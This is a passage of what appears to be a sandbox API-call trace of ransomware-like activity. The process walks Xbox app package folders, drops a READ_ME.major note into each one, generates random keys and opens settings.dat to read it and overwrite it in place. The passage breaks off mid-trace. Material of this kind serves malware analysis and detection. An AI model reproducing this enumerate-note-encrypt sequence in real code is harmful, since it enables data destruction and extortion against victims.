hFindFile=0x2f2fa98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.632] FindNextFileW (in: hFindFile=0x2f2fa98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.632] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0205.632] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd24a61dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fad8 [0205.632] FindNextFileW (in: hFindFile=0x2f2fad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd24a61dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.632] FindNextFileW (in: hFindFile=0x2f2fad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.632] FindNextFileW (in: hFindFile=0x2f2fad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.632] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0205.632] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fdd8 [0205.633] FindNextFileW (in: hFindFile=0x2f2fdd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.633] FindNextFileW (in: hFindFile=0x2f2fdd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0205.633] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13f0 [0205.635] WriteFile (in: hFile=0x13f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.636] CloseHandle (hObject=0x13f0) returned 1 [0205.636] FindNextFileW (in: hFindFile=0x2f2fdd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0205.636] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13f0 [0205.638] WriteFile (in: hFile=0x13f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.639] CloseHandle (hObject=0x13f0) returned 1 [0205.639] FindNextFileW (in: hFindFile=0x2f2fdd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0205.640] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13f0 [0205.640] WriteFile (in: hFile=0x13f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.641] CloseHandle (hObject=0x13f0) returned 1 [0205.641] FindNextFileW (in: hFindFile=0x2f2fdd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.641] FindNextFileW (in: hFindFile=0x2f2fdd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0205.641] FindNextFileW (in: hFindFile=0x2f2fdd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0205.641] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0205.641] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fb98 [0205.642] FindNextFileW (in: hFindFile=0x2f2fb98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.642] FindNextFileW (in: hFindFile=0x2f2fb98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.642] FindNextFileW (in: hFindFile=0x2f2fb98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669748 [0205.642] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fe18 [0205.642] FindNextFileW (in: hFindFile=0x2f2fe18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.642] FindNextFileW (in: hFindFile=0x2f2fe18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.642] FindNextFileW (in: hFindFile=0x2f2fe18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668590 [0205.642] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fe98 [0205.643] FindNextFileW (in: hFindFile=0x2f2fe98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.643] FindNextFileW (in: hFindFile=0x2f2fe98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.643] FindNextFileW (in: hFindFile=0x2f2fe98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669748 [0205.643] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f302d8 [0205.643] FindNextFileW (in: hFindFile=0x2f302d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.643] FindNextFileW (in: hFindFile=0x2f302d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.643] FindNextFileW (in: hFindFile=0x2f302d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0205.643] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924aecaf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30598 [0205.644] FindNextFileW (in: hFindFile=0x2f30598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924aecaf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.644] FindNextFileW (in: hFindFile=0x2f30598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.644] FindNextFileW (in: hFindFile=0x2f30598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924aecaf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924aecaf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924aecaf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0205.644] FindNextFileW (in: hFindFile=0x2f30598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0205.644] FindNextFileW (in: hFindFile=0x2f30598, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0205.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0205.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60148 [0205.644] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.644] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661cd8 [0205.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0205.644] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1408 [0205.645] GetFileSizeEx (in: hFile=0x1408, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f978e8 [0205.645] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f918d0 [0205.645] ReadFile (in: hFile=0x1408, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.667] SetFilePointer (in: hFile=0x1408, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.667] 